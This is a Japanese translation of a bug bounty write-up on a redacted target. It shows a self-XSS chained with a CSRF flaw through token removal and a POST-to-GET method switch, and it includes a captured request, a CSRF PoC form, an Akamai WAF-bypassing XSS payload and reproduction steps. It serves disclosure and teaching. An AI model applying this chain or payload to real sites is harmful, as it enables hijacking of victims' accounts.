ソース：
訳：
数か月前、VDP プログラムを探していたところ、興味深い脆弱性を見つけたので、それについて書きたいと思いました。
と呼びます ターゲットをredacted.com -_-
目標を見つける
列挙にしばらく時間を費やした後、興味深いサブドメインを見つけ。
これは、サイトがプライベート ユーザーに属しているようで。
サイトを開くと、別のページにリダイレクトされ、アクセスするには招待が必要であることが表示され。
このサブドメインを local.redacted.com と名付け。
この場合、最初に思い浮かぶのはファジングです。
でも結果が出ない
enum に戻ると、これが Google dorks を使用したキーです :)
site:local.redacted.com
たくさんの結果が出て、いくつか入力してみると、登録ページがあり。
姓名などのフィールドに特殊文字を使用して新しいアカウントを登録し。
その後、アカウント情報に移動して。
Xss 脆弱性の影響を受けるアドレスフィールド。
ただし、影響はなく、誰もあなたのアカウントやアドレスを閲覧できないため、自己 XSS とみなされ。
CSRF
この場合、
1 - ユーザーをアカウントにログインさせるには、ログインページで CSRF を見つける必要があり。
2 - または、アドレスを変更する関数でCSRF を見つけて、ユーザーにアドレスを Xss ペイロードに変更させる必要があり。
さて、この CSRF を見つけてみましょう。
Burpでリクエストをキャプチャ中にアドレスを変更し。
リクエストにはcsrf_tokenというトークンが含まれています。
それを回避しようとしましたが、何も得られません。
一方、別のアドレスを追加できることがわかり。
キャプチャリクエストで新しいアドレスを追加し、今度は「 トークン」 と呼ばれるトークンパラメータを削除すると、サーバーはリクエストを受け入れますが、サーバーはリファラーヘッダーをチェックし。
リファラーヘッダーなしでリクエストを送信しようとしますが、サーバーはリクエストをブロックし。
リクエストのメソッドを変更することを思いつき。
リクエストのメソッドを GET に変更すると、サーバーはそれを受け入れます:)
POST /account/add-new-address HTTP/2
Host: local.redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 261
Referer: https://local.redacted.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: red
Te: trailers
token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&address1=Xss_here&address2=test&city=test&countryName=US&state=AZ&postalCode=12321&phoneNumber=1111111111&phoneType=Hom&alPhno=&alPhType=
最終型
<html>
<body>
<form method="GET" action="https://local.redacted.com/account/add-new-address">
<input type="hidden" name="address1" value="Xss here"/>
<input type="hidden" name="address2" value="test"/>
<input type="hidden" name="city" value="test"/>
<input type="hidden" name="countryName" value="US"/>
<input type="hidden" name="state" value="AZ"/>
<input type="hidden" name="postalCode" value="11111"/>
<input type="hidden" name="phoneNumber" value="1111111111"/>
<input type="hidden" name="phoneType" value="Hom"/>
<input type="hidden" name="alPhno" value=""/>
<input type="submit" value="Submit">
</form>
</body>
<html>
WAF バイパス
ここまでは問題ありませんが、Akamai WAF はあなたを放っておくわけではなく。
単純なHTML ペイロードのみを挿入でき。
それ以外の場合、WAF がリクエストをブロックして。
リフレクションが発生する仕組みに戻ります。
リフレクションが発生する場所はたくさんありますが、そのうちの 1 つは JavaScript 文字列内で。
HTML タグを使用せずに JS のみでペイロードを記述する方が簡単ですが、私にはクレイジーな JS コードを記述するのに十分なスキルがありません:)
に助けを求めました そこで私は、JS の王である友人のMouhannad Al-Hmedi 。
彼は 1 分で WAF をバイパスしました *-*
";let y='rt',x='ale';window[x+y]('Xss')//
これですべての準備が整いました
この脆弱性を悪用するには、被害者のアカウントにリンクを送信します。これにより、被害者のアカウントに新しいアドレスが追加されます。 アドレスはとても美しいJavaScriptコードです!!
再現手順の概要
1- Google dorks を使用して登録ページを取得します
2- 新しいアカウントを作成する
3- 新しいアドレスをアカウントに追加し、リクエストをキャプチャします
4- CSRF トークンを削除し、アドレス値に Xss を挿入してリクエスト メソッドを POST から GET に変更します。
5- URLをコピーするか、CSRF PoCを作成します
6-被害者に送信する
バグは高い重大度でトリアージされ。
ほなほな。
